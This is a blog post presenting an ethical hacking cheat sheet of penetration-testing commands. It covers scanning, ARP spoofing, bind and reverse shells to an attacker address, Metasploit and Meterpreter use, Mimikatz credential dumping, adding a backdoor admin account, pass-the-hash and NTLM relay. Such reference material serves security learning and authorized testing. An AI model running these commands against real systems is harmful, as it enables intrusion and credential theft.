26:I[10218,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogComments"] 27:I[19280,["10933","static/chunks/10933-713dc1c0b1561380.js","94937","static/chunks/94937-3f819e5ef7dfa8a0.js","9131","static/chunks/9131-9372417797d59026.js","98244","static/chunks/98244-037342d518451489.js","6342","static/chunks/6342-5661a6a2702af160.js","27689","static/chunks/27689-8d5be78f17754629.js","34877","static/chunks/app/(marketing)/blog/%5Bslug%5D/page-ee27fea45c92c1b5.js"],"BlogSidebar"] 25:T9288,

Hacking and cybersecurity are complex and ever-changing fields that involve the use of various tools and techniques to gain unauthorized access to systems, networks, or data, or to protect against such access. Understanding the basics of these fields is important for anyone who wants to stay safe and secure online.

In general, hacking is the practice of using technical skills to gain unauthorized access to systems, networks or data, while cybersecurity is the practice of protecting systems, networks, and data from unauthorized access or attack.

Hackers can be classified as "white hat", "gray hat" and "black hat" depending on their intentions and the way they use their skills. White hat hackers are those who use their skills for legitimate purposes, such as identifying and reporting vulnerabilities in systems. Black hat hackers are those who use their skills for malicious purposes, such as stealing sensitive information or causing damage to systems. Gray hat hackers fall in between, they use their skills to identify vulnerabilities in systems and might use them for personal gain or share them with the public.

Recommended Readings:

Chronological list of Resources to Learn Ethical Hacking from Complete Beginner to Advanced Level
Ethical Hacking Roadmap – A Beginners Guide
Most Popular Programming Language For Ethical Hacking

Basic Linux Networking Tools

SHOW IP CONFIGURATION:
# ip a lw

DNS LOOKUP:
# dig stationx.net

CHANGE IP/MAC ADDRESS:
# ip link set dev eth0 down
# macchanger -m 23:05:13:37:42:21 eth0
# ip link set dev eth0 up

STATIC IP ADDRESS CONFIGURATION:
# ip addr add 10.5.23.42/24 dev eth0

Information Gathering

REVERSE DNS LOOKUP:
# dig -x 10.5.23.42

OR USING AN NMAP SCRIP:
# nmap -sn -Pn stationx.net
–script hostmap-crtsh

COMBINE VARIOUS SOURCES FOR SUBDOMAIN ENUM:
# amass enum -src -brute -min-forrecursive
2 -d stationx.net

FIND OWNER/CONTACT OF DOMAIN OR IP ADDRESS:
# whois stationx.net

GET NAMESERVERS AND TEST FOR DNS ZONE TRANSFER:
# dig example.com ns
# dig example.com axfr @n1.example.com

GET HOSTNAMES FROM CT LOGS: SEARCH FOR:
%.stationx.net on https://crt.sh.

TCP Tools

LISTEN ON TCP PORT:
# ncat -l -p 1337

CONNECT TO TCP PORT:
# ncat 10.5.23.42 1337

TLS Tools

CREATE SELF-SIGNED CERTIFICATE:
# openssl req -x509 -newkey rsa:2048
-keyout key.pem -out cert.pem -nodes
-subj “/CN=example.org/”

CONNECT TO TLS SERVICE USING OPENSSL:
# openssl s_client -connect
10.5.23.42:1337

TEST TLS SERVER CERTIFICATE AND CIPHERS:
# sslyze –regular 10.5.23.42:443

ONLINE TLS TESTS:
ssllabs.com, hardenize.com

START TLS SERVER:
# ncat –ssl -l -p 1337 –ssl-cert
cert.pem –ssl-key key.pem

CONNECT TO TLS SERVICE:
# ncat –ssl 10.5.23.42 1337

SHOW CERTIFICATE DETAILS:
# openssl s_client -connect
10.5.23.42:1337 \| openssl x509 -text

TCP TO TLS PROXY:
# socat TCP-LISTEN:2305,fork,reuseaddr
ssl:example.com:443

HTTP Tools

START PYTHON WEBSERVER ON PORT 2305:
# python3 -m http.server 2305

USEFUL CURL OPTIONS:
-k: Accept untrusted certificates
-d “foo=bar”: HTTP POST data
-H: “Foo: Bar”: HTTP header
-I: Perform HEAD request
-L: Follow redirects
-o foobar.html: Write output file
–proxy http://127.0.0.1:8080: Set proxy

PERFORM HTTP REQUEST:
# curl http://10.5.23.42:2305/?foo=bar

SCAN FOR COMMON FILES/APPLICATIONS/CONFIGS:
# nikto -host https://example.net

ENUMERATE COMMON DIRECTORY-/FILENAMES:
# gobuster dir -k -u
https://example.net -w
/usr/share/wordlists/dirb/common.txt

Sniffing

ARP SPOOFING:
# arpspoof -t 10.5.23.42 10.5.23.1

SHOW ARP CACHE:
# ip neigh

SNIFF TRAFFIC:
# tcpdump [options] [filters]

USEFUL TCPDUMP FILTERS:
not arp: No ARP packets
port ftp or port 23: Only port 21 or 23
host 10.5.23.31: Only from/to host
net 10.5.23.0/24: Only from/to hosts in

OR A GRAPHICAL TOOL:
# ettercap -G

DELETE ARP CACHE:
# ip neigh flush all

USEFUL TCPDUMP OPTIONS:
# tcpdump [options] [filters]
-n: Disable name and port resolution
-A: Print in ASCII
-XX: Print in hex and ASCII
-w file: Write output PCAP file
-r file: Read PCAP file

network

Advanced sniffing using tshark or Wireshark.

SNIFFING OVER SSH ON A REMOTE HOST:
# ssh 10.5.23.42 tcpdump -w- port not
ssh \| wireshark -k -i –

SHOW TRANSMITTED IMAGES:
# driftnet

SEARCH IN NETWORK TRAFFIC:
# ngrep -i password

SHOW HTTP GET REQUESTS:
# urlsnarf

Network Scanning

ARP SCAN:
# nmap -n -sn -PR 10.5.23.0/24

SCAN FOR VULNERABILITIES (SCRIPT CATEGORY FILTER):
# nmap -n -Pn –script “vuln and safe”
10.5.23.0/24

USEFUL NMAP OPTIONS:
-n: Disable name and port resolution
-PR: ARP host discovery
-Pn: Disable host discovery
-sn: Disable port scan (host discovery only)
-sS/-sT/-sU: SYN/TCP connect/UDP scan
–top-ports 50: Scan 50 top ports
-iL file: Host input file
-oA file: Write output files (3 types)
-sC: Script scan (default scripts)
–script : Specific scripts
-sV: Version detection
-6: IPv6 scan

REVERSE DNS LOOKUP OF IP RANGE:
# nmap -sL 10.5.23.0/24

TCP SCAN (SYN SCAN = HALF-OPEN SCAN):
# nmap -Pn -n -sS -p
22,25,80,443,8080 10.5.23.0/24

SCAN FOR ETERNALBLUE VULNERABLE HOSTS:
# nmap -n -Pn -p 443 –script smbvuln-
ms17-010 10.5.23.0/24

PERFORMANCE TUNING (1 SYN PACKET ≈ 60 BYTES → 20’000 PACKETS/S ≈ 10 MBPS):
# nmap -n -Pn –min-rate 20000
10.5.23.0/24

NMAP HOST DISCOVERY (ARP, ICMP, SYN 443/TCP, ACK 80/TCP):
# nmap -sn -n 10.5.23.0/24

LIST NMAP SCRIPTS:
# ls /usr/share/nmap/scripts

The target can be specified using CIDR notation
(10.5.23.0/24) or range definitions (10.13-
37.5.1-23).

FAST SCAN USING MASSCAN:
# masscan -p80,8000-8100 –rate 20000
10.0.0.0/8

PUBLIC INTERNET SCAN DATABASES:
osint concept in cybersecurity. It describes techniques, risks, or controls that defenders and ethical hackers must understand to protect systems and conduct authorized security testing. Learning Shodan helps you recognize attacks in the wild and apply industry-standard mitigations aligned with frameworks like OWASP and NIST.">shodan.io, censys.io

Shells

START BIND SHELL (ON VICTIM):
# ncat -l -p 2305 -e “/bin/bash -i”

LISTEN FOR REVERSE SHELL (ON ATTACKER):
# ncat -l -p 23

START REVERSE SHELL WITH BASH ONLY (ON VICTIM):
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1

CONNECT TO BIND SHELL (ON ATTACKER):
# ncat 10.5.23.42 2305

START REVERSE SHELL (ON VICTIM):
# ncat -e “/bin/bash -i” 10.5.23.5 23

UPGRADE TO PSEUDO TERMINAL:
# python -c ‘import pty;
pty.spawn(“/bin/bash”)’

Vulnerability DBs and Exploits

EXPLOIT SEARCH (LOCAL COPY OF THE EXPLOIT-DB):
# searchsploit apache

SHOW EXPLOIT FILE PATH AND COPY IT INTO CLIPBOARD:
# searchsploit -p 40142

ONLINE VULNERABILITY AND EXPLOIT DATABASES:
cvedetails.com, exploit-db.com,
packetstormsecurity.com

Cracking

TRY SSH PASSWORDS FROM A WORDLIST:
# ncrack -p 22 –user root -P
./passwords.txt 10.5.23.0/24

CRACK HASHES (E.G. 5600 FOR NETNTLMV2 TYPE):
# hashcat -m 5600 -a 0 hash.txt
/path/to/wordlists/*

DETERMINE HASH TYPE:
# hashid 869d[…]bd88

SHOW EXAMPLE HASH TYPES FOR HASHCAT:
# hashcat –example-hashes

CRACK HASHES USING JOHN THE RIPPER:
# john hashes.txt

metasploit-framework">Metasploit Framework

START METASPLOIT:
# msfconsole

USE EXPLOIT:
msf > use exploit/windows/smb/ms17_…

CONFIGURE EXPLOIT:
msf exploit(…) > show options
msf exploit(…) > set TARGET 10.5.23.42

REVERSE SHELL LISTENER:
> use exploit/multi/handler
> set payload
linux/x64/shell_reverse_tcp
> set LHOST 10.5.23.42 # attacker
> set LPORT 443
> exploit

UPLOAD / DOWNLOAD FILES:
meterpreter > upload pwn.exe
meterpreter > download c:\keepass.kdb

BACKGROUND METERPRETER SESSION:
meterpreter > background

SOCKS VIA METERPRETER (REQUIRES AUTOROUTE):
> use auxiliary/server/socks4a
> set SRVPORT 8080
> run

CONNECT THROUGH SOCKS PROXY:
# proxychains ncat 172.23.5.42 1337

SEARCH EXPLOIT:
> search eternalblue

RUN EXPLOIT:
msf exploit(…) > exploit

GENERATE REVERSE SHELL (WAR):
# msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<your
ip address> LPORT=443 -f war > sh.war

UPGRADE TO METERPRETER (OR PRESS ^Z (CTRL-Z)):
background
Background session 1? [y/N] y
> sessions # list sessions
> sessions -u 1 # Upgrade
> sessions 2 # interact with session 2
meterpreter > sysinfo # use it

PORT FORWARDING TO LOCALHOST:
meterpreter > portfwd add -l 2323 -p
3389 -r 10.5.23.23

PIVOTING THROUGH EXISTING METERPRETER SESSION:
> use post/multi/manage/autoroute
> set session 2 # meterpreter session
> run
> route

CONFIGURE PROXYCHAINS:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

Linux Privilege Escalation

ENUMERATE LOCAL INFORMATION (-T FOR MORE TESTS):
# curl -o /tmp/linenum
https://raw.githubusercontent.com/rebo
otuser/LinEnum/master/LinEnum.sh
# bash /tmp/linenum -r /tmp/report

Other hardening checks can be done using lynis or LinPEAS.

Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io.

Windows Privilege Escalation

SCAN FOR NETWORK SHARES:
# smbmap.py –host-file smbhosts.txt –
u Administrator -p PasswordOrHash

Copy PowerUp.ps1 from GitHub “PowerShellMafia/

PowerSploit” into PowerShell to

bypass ExecutionPolicy and execute Invoke-

AllChecks. Use the abuse functions.

ADD A NEW LOCAL ADMIN:
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /add

Windows Credentials Gathering

START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

SHOW PASSWORDS/HASHES OF LOGGED IN USERS:
# sekurlsa::logonpasswords

EXTRACT HASHES USING MIMIKATZ:
# lsadump::sam /system:system.hiv
/sam:sam.hiv

READ LSASS.EXE PROCESS DUMP:
# sekurlsa::minidump lsass.dmp
Dump lsass.exe in taskmgr or procdump.

BACKUP SYSTEM & SAM HIVE:
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv

pass-the-hash">Pass-the-Hash

START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

METERPRETER VIA PASS-THE-HASH:
msf > set payload
windows/meterpreter/reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim
msf > set SMBPass 01[…]03:01[…]03
msf > exploit
meterpreter > shell
C:\WINDOWS\system32>

OVER A SUBNET AND EXTRACT SAM FILE:
# crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03
10.5.23.0/24 –sam

RDP VIA PASS-THE-HASH:
# xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42

BROWSE SHARES VIA PASS-THE-HASH:
# ./smbclient.py
domain/usrname@10.5.23.42 -hashes
:011AD41795657A8ED80AB3FF6F078D03

NTLM Relay

VULNERABLE IF MESSAGE_SIGNING: DISABLED:
# nmap -n -Pn -p 445 –script smbsecurity-
mode 10.5.23.0/24

NTLM RELAY USING SOCKS PROXY:
# ./ntlmrelayx.py -tf targets.txt
-smb2support -socks
Configure ProxyChains:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

DISABLE SMB AND HTTP IN RESPONDER.CONF AND START RESPONDER:
# ./Responder.py -I eth0

NTLM RELAY TO TARGET AND EXTRACT SAM FILE:
# ./ntlmrelayx.py -smb2support -t
smb://10.5.23.42

ACCESS FILES VIA SOCKS PROXY:
# proxychains smbclient -m smb3
‘\\10.5.23.42\C$’ -W pc05 -U
Administrator%invalidPwd

Active Directory

Use SharpHound to gather information and import into Bloodhound to analyze.

Download PingCastle from pingcastle.com and generate Report.

Conclusion

In conclusion, hacking and cybersecurity are complex and constantly evolving fields that can include a wide range of tools, techniques, and strategies. It is important to remember that hacking tools can be used for both legitimate and illegitimate purposes, and it's important to use them responsibly and in compliance with the law. A good understanding of the basics of computer science, programming and networking is a starting point to learn more about the field.

A good cybersecurity practice includes keeping the operating system and software up to date, using anti-virus and firewall software, being cautious when opening email attachments or clicking on links in emails, not giving out personal information online, using strong, unique passwords for every account, and avoiding using public Wi-Fi networks. Additionally, it is important to stay informed about the latest threats, vulnerabilities and best practices.

Also, ethical hacking or "white-hat" hacking is one way to use hacking skills for good causes, like identifying vulnerabilities and protect organizations from cyber threats. Thus, it is important to understand and follow the laws, policies and guidelines regarding cyber security practices and ethical hacking.

20:["$","div",null,{"dangerouslySetInnerHTML":{"__html":"$25"}}] 22:["$","$L26",null,{"slug":"ethical-hacking-cheat-sheet"}] 23:["$","$L27",null,{"promos":[],"latest":[{"slug":"how-to-become-a-soc-analyst-without-a-degree","title":"How to Become a SOC Analyst Without a Degree (2026 Guide)","featuredImage":"/uploads/2026/general/1784639602532-worqqx.webp"},{"slug":"social-engineering-attack-life-cycle-the-art-of-human-hacking","title":"Social Engineering Attack Life Cycle: The Art of Human Hacking","featuredImage":null},{"slug":"best-beginner-javascript-projects-for-hacking","title":"Best Beginner JavaScript Projects for Hacking (2026 Guide)","featuredImage":"https://codelivly.com/wp-content/uploads/2026/02/javascript-for-hacking.jpg"},{"slug":"what-is-a-security-operations-center","title":"What Is a Security Operations Center (SOC)?","featuredImage":null},{"slug":"owasp-top-10-explained-beginners","title":"OWASP Top 10 Explained for Beginners","featuredImage":null}]}] 28:T471,[{"@context":"https://schema.org","@type":"TechArticle","headline":"Ethical Hacking Cheat Sheet: Common Tools and Techniques","description":"Hacking and cybersecurity are complex and ever-changing fields that involve the use of various tools and techniques to gain unauthorized access to systems, networks, or data, or to protect against suc","image":"https://codelivly.com/wp-content/uploads/2023/01/what-is-an-ethical-hacker.jpg","url":"https://codelivly.com/ethical-hacking-cheat-sheet","datePublished":"2023-01-11T16:23:32.000Z","dateModified":"2026-02-24T07:11:19.000Z","wordCount":2398,"author":{"@type":"Person","name":"rocky"},"publisher":{"@type":"Organization","@id":"https://codelivly.com/#organization","name":"Codelivly"}},{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://codelivly.com"},{"@type":"ListItem","position":2,"name":"Blog","item":"https://codelivly.com/blog"},{"@type":"ListItem","position":3,"name":"Ethical Hacking Cheat Sheet: Common Tools and Techniques","item":"https://codelivly.com/ethical-hacking-cheat-sheet"}]}]1e:["$","script",null,{"type":"application/ld+json","nonce":"XKYFkypbW/DMUyi3+s/Slw==","dangerouslySetInnerHTML":{"__html":"$28"}}]